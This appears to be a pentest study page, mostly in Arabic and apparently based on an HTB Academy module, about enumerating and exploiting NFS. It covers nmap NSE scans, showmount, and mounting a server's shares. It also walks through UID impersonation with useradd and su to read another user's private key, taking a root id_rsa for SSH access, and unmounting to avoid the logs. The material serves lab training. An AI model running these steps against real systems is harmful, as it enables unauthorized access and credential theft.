◄ BACK TO PROTOCOLS
HTB Academy · Module 112 · Section 8/21
Footprinting Port 2049 UID/GID Abuse Linux/Unix
NFS — NETWORK FILE SYSTEM
PROTOCOL ANALYSIS · ENUMERATION · EXPLOITATION VECTORS
Developer
Sun Microsystems
Port RPC
TCP/UDP 111
Port NFS
TCP/UDP 2049
Auth
UID/GID ⚠️
OS
Linux / Unix
Config File
/etc/exports
نظرة عامة
ما هو NFS؟

Network File System — نظام ملفات شبكي طوّرته Sun Microsystems. نفس فكرة SMB بالضبط: الوصول للملفات عبر الشبكة كأنها محلية. بس يستخدم بروتوكول مختلف كلياً ويشتغل بين Linux وUnix فقط.

NFS vs SMB
SMB → Windows + Linux (Samba)
NFS → Linux + Unix فقط
NFS clients ≠ SMB servers مباشرة
شبكة Windows+Linux → استخدم SMB/Samba
🔌 Ports
PORT 111 — RPC Portmapper
دليل هاتف الخدمات — يخبرك وين NFS
PORT 2049 — NFS
الخدمة الفعلية — نقل الملفات
⚠️ Authentication — الثغرة الأساسية

NFS بحد ذاته ما عنده authentication — يعتمد على RPC. والمصادقة الأكثر شيوعاً عبر UNIX UID/GID.

المشكلة الخطيرة
Server: UID 1000 = cry0l1t3
Your PC: UID 1000 = attacker
NFS ما يفرق!
= تقرأ ملفات cry0l1t3 🎯
الاستغلال العملي
sudo useradd -u 1000 attacker sudo su attacker # هلأ أنت UID 1000 # NFS يحسبك cry0l1t3!
⚠️ NFS يجب استخدامه على trusted networks فقط بسبب ضعف الـ authentication!
إصدارات NFS
📋 المقارنة الكاملة
الإصدارالميزاتAuthPort
NFSv2 قديم، يشتغل على UDP، مدعوم من أنظمة كثيرة جهاز فقط 111 + عشوائي
NFSv3 ملفات أكبر من 2GB، better error reporting، مش متوافق مع v2 جهاز فقط 111 + عشوائي
NFSv4 Kerberos، يشتغل عبر Firewall، ACLs، stateful، pNFS، multipathing يوزر (Kerberos) 2049 فقط ✅
NFSv3 Authentication — الجهاز
"هاد الجهاز IP 192.168.1.5 مسموح له"
أي شخص على هاد الجهاز يدخل! 😱
NFSv4 Authentication — اليوزر
"مين أنت؟ TGT من Kerberos؟"
كل شخص يثبت هويته ✅
🔑 Kerberos في NFSv4

بدل ما ترسل باسورد على الشبكة — Kerberos يعطيك تذكرة مشفرة (TGT):

1. أنت → "أنا husein" → Kerberos Server
2. Kerberos → يعطيك TGT (Ticket Granting Ticket) مشفر
3. أنت → TGT → NFS Server
4. NFS يتحقق → مسموح ✅ أو مرفوض ❌
💡 TGT = بيانات مشفرة — ما في باسورد يمشي على الشبكة أبداً!
🔍 كيف تعرف الإصدار؟
sudo nmap 10.129.14.128 -p111,2049 -sV -sC PORT STATE SERVICE 111/tcp open rpcbind | rpcinfo: | 100003 3 2049/tcp nfs ← NFSv3 | 100003 3,4 2049/tcp nfs ← NFSv3 + v4 | 100005 1,2,3 45837/tcp mountd ← ports عشوائية = v3 | 100021 1,3,4 44629/tcp nlockmgr 2049/tcp open nfs_acl
💡 ports عشوائية (mountd, nlockmgr) = NFSv3 مؤكد. NFSv4 = Port 2049 فقط!
الإعدادات — /etc/exports
ملف الإعداد

ملف الإعداد: /etc/exports — يحدد أي مجلدات مشارَكة ولمن.

cat /etc/exports # مثال NFSv3: /srv/homes hostname1(rw,sync,no_subtree_check) /srv/homes hostname2(ro,sync,no_subtree_check) # مثال NFSv4: /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt)
💡 البنية: المجلد الجهاز/subnet(صلاحيات)
📋 شرح الخيارات
الخيارالوظيفة
rwقراءة وكتابة
roقراءة فقط
syncنقل بيانات متزامن (أبطأ لكن أأمن)
asyncنقل بيانات غير متزامن (أسرع)
secureports فوق 1024 ممنوعة
insecureports فوق 1024 مسموحة
no_subtree_checkتعطيل فحص المجلدات الفرعية
root_squashroot على الـ client = anonymous على السيرفر ✅
no_root_squashroot على الـ client = root على السيرفر ⚠️
مثال عملي — إضافة Share
echo '/mnt/nfs 10.129.14.0/24(sync,no_subtree_check)' >> /etc/exports systemctl restart nfs-kernel-server exportfs /mnt/nfs 10.129.14.0/24 # كل الأجهزة في الـ subnet يقدرون يـ mount هاد المجلد
Dangerous Settings
⚠️ الإعدادات الخطيرة
الإعدادالخطر
rwكتابة كاملة — رفع ملفات خبيثة
insecureأي يوزر عادي يتصل بدون ما يكون root
nohideيكشف مجلدات مخفية مـ mount فيها
no_root_squashroot على جهازك = root على السيرفر 💀
*(rw,no_root_squash)أخطر إعداد — أي IP + root كامل 💀💀
💀 root_squash vs no_root_squash
✅ root_squash (آمن)
أنت root على جهازك

NFS يحولك لـ anonymous (UID 65534)

ما تقدر تعدل ملفات root على السيرفر ✅
⚠️ no_root_squash (خطير)
أنت root على جهازك

NFS يعطيك root على السيرفر

تقرأ id_rsa وتدخل كـ root 💀
💀 UID/GID Impersonation Attack
🔍
Mount NFS
target-NFS/
🔢
ls -n
شوف UID/GID
👤
useradd -u
نفس الـ UID
🔄
su attacker
تحول للـ UID
💥
Full Access
ملفات اليوزر
🎯 السيرفر يتحقق من الـ UID — مش اسم اليوزر. اصنع يوزر بنفس الـ UID = تنتحل هويته!
🔑 id_rsa على NFS = خطر كبير
# لو لاقيت id_rsa على الـ share: ls -n mnt/nfs/ -rw-r--r-- 1 0 0 1872 id_rsa ← UID 0 = root! # حمّله واستخدمه: cp mnt/nfs/id_rsa . chmod 600 id_rsa ssh -i id_rsa root@10.129.14.128 root@server:~# ← root access كامل 👑
💀 Private SSH keys على NFS = باب مفتوح للسيرفر كله!
الأدوات
اختر الأداة:
🔍Nmap
📋showmount
🔌mount
📂ls -n
👤UID Attack
🔍 Nmap على NFS
Scan أساسي:
sudo nmap 10.129.14.128 -p111,2049 -sV -sC PORT STATE SERVICE VERSION 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | 100003 3,4 2049/tcp nfs | 100005 1,2,3 45837/tcp mountd | 100021 1,3,4 44629/tcp nlockmgr 2049/tcp open nfs_acl 3 (RPC #100227)
NSE Scripts — كل شيء دفعة:
sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049 | nfs-ls: Volume /mnt/nfs | id_rsa UID:0 GID:0 ← root file! | id_rsa.pub UID:0 GID:0 | nfs.share UID:0 GID:0 | | nfs-showmount: |_ /mnt/nfs 10.129.14.0/24 | | nfs-statfs: |_ /mnt/nfs 30GB total, 8GB used
💡 nfs* = شغّل كل NSE scripts تبدأ بـ nfs دفعة وحدة!
📋 showmount — عرض الـ Shares
showmount -e 10.129.14.128 Export list for 10.129.14.128: /mnt/nfs 10.129.14.0/24 # المجلد المشارَك + من يقدر يوصله
💡 أسرع طريقة لتشوف الـ NFS shares قبل الـ mount
🔌 mount — توصيل الـ Share
mkdir target-NFS sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock cd target-NFS && tree . . └── mnt └── nfs ├── id_rsa ├── id_rsa.pub └── nfs.share
بعد ما تخلص — umount:
cd .. && sudo umount ./target-NFS # مهم! يوقف تسجيل اتصالك في الـ logs
⚠️ خيارات الأمر:
-t nfs = النوع NFS
-o nolock = بدون file locking (يشتغل مع سيرفرات قديمة)
IP:/ = الـ root كامل للسيرفر
📂 ls -n — عرض UID/GID
ls -l mnt/nfs/ # يعرض أسماء المستخدمين: -rw-r--r-- 1 cry0l1t3 cry0l1t3 cry0l1t3.priv -rw-r--r-- 1 root root id_rsa ls -n mnt/nfs/ # يعرض الأرقام UID/GID: -rw-r--r-- 1 1000 1000 cry0l1t3.priv -rw-r--r-- 1 0 0 id_rsa -rw-r--r-- 1 0 1000 backup.sh
💡 ls -n يعطيك الأرقام الفعلية — هاي اللي تحتاجها لـ UID impersonation!
👤 UID Impersonation Attack
# 1. شوف الـ UID من الـ share ls -n mnt/nfs/ -rw-r--r-- 1 1000 1000 cry0l1t3.priv # 2. اصنع يوزر بنفس الـ UID sudo useradd -u 1000 attacker # 3. تحول للـ يوزر sudo su attacker # 4. هلأ أنت UID 1000 = cry0l1t3 على NFS! cat mnt/nfs/cry0l1t3.priv -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAA...
💀 لو UID 0 = تقدر تقرأ id_rsa = ssh كـ root مباشرة!
Methodology
⛓️ خطوات الهجوم الكاملة
1
Nmap Scan
اكتشاف ports 111/2049 + إصدار NFS + محتوى الـ shares
sudo nmap --script nfs* -p111,2049 -sV TARGET
👀 ports عشوائية (mountd) = NFSv3 = auth ضعيف
2
showmount — شوف الـ Shares
قائمة الـ shares المتاحة ومن يقدر يوصلها
showmount -e TARGET
3
Mount الـ Share
وصّل الـ share على جهازك
mkdir target-NFS sudo mount -t nfs TARGET:/ ./target-NFS/ -o nolock
4
شوف UID/GID
حدد الأرقام لكل ملف
ls -n target-NFS/mnt/nfs/
ركز على:
UID 0 = root → id_rsa = SSH access
UID 1000+ = users عاديين → ملفاتهم الشخصية
5
UID Impersonation
اصنع يوزر بنفس الـ UID واقرأ الملفات
sudo useradd -u 1000 attacker && sudo su attacker
6
Unmount بعد ما تخلص
أوقف تسجيل اتصالك — OPSEC مهم!
sudo umount ./target-NFS
🧠 قواعد التفكير
✅ دايماً افعل:
• شوف الـ UID/GID بـ ls -n
• دور على id_rsa أول شي
• تحقق من no_root_squash
• umount بعد ما تخلص
⚠️ انتبه:
• root_squash = root محمي
• NFSv4 + Kerberos = أصعب
• NFSv3 = هدف سهل
• * في exports = أي IP مسموح
Explained — Q&A
🌐 الأساسيات
إيش الفرق بين NFS وSMB؟
نفس الفكرة — مشاركة ملفات عبر الشبكة. الفرق في نظام التشغيل: SMB لـ Windows (وLinux عبر Samba)، NFS لـ Linux وUnix فقط. NFS clients ما يقدرون يتكلموا مع SMB servers مباشرة.
ما هو mount؟
mount = توصيل مصدر بيانات بمجلد محلي. مثل كابل USB بس عبر الشبكة. بعد الـ mount تتصفح ملفات السيرفر البعيد كأنها على جهازك محلياً.
🔑 UID/GID
ليش NFS يستخدم أرقام UID/GID بدل أسماء؟
لأن الأسماء ممكن تتكرر — "admin" على السيرفر يختلف عن "admin" على جهازك. الأرقام فريدة ودقيقة. UID 1000 = نفس المعنى على أي جهاز.
كيف تستغل الـ UID في الـ pentest؟
بعد mount الـ share، تشوف الـ UID بـ ls -n. بعدين تصنع يوزر على جهازك بنفس الـ UID. NFS يحسبك نفس الشخص! تقدر تقرأ ملفاته كاملة.
⚙️ الإعدادات
إيش يعني root_squash؟
يحمي السيرفر من root على الـ client. لو أنت root على جهازك، NFS يحولك لـ anonymous (UID 65534) — ما تقدر تعدل ملفات root على السيرفر. no_root_squash = العكس = خطر!
إيش يعني * في /etc/exports؟
wildcard = أي IP على الشبكة أو الإنترنت مسموح له. لو مع rw وno_root_squash = أخطر إعداد ممكن. أي شخص في العالم يقدر يـ mount ويعدل!
إيش -o nolock في الـ mount؟
يقول للسيرفر "ما أحتاج خدمة file locking". يضمن نجاح الـ mount حتى مع سيرفرات قديمة أو مقيدة. في الـ pentest أنت بس تقرأ — ما تحتاج locking أصلاً.
🔒 Kerberos و NFSv4
إيش هو Kerberos؟
نظام مصادقة يستخدم تذاكر مشفرة (TGT) بدل باسوردات. تثبت هويتك مرة واحدة لـ Kerberos Server → يعطيك TGT → تستخدمه للدخول لأي خدمة. ما في باسورد يمشي على الشبكة أبداً!
ليش ports عشوائية تعني NFSv3؟
NFSv3 يحتاج portmapper (111) + mountd (عشوائي) + nlockmgr (عشوائي). NFSv4 ألغى كل هذا وصار يشتغل على Port 2049 فقط. لو شفت ports عشوائية في nmap = NFSv3 مؤكد.
🎯 OPSEC
ليش مهم تعمل umount بعد ما تخلص؟
لو تركت الـ mount مفتوح، السيرفر يسجل اتصالك في الـ logs دايماً. المسؤول يشوفك! كمان أي تعديل بالخطأ يؤثر على السيرفر مباشرة. umount = تنظيف آثارك.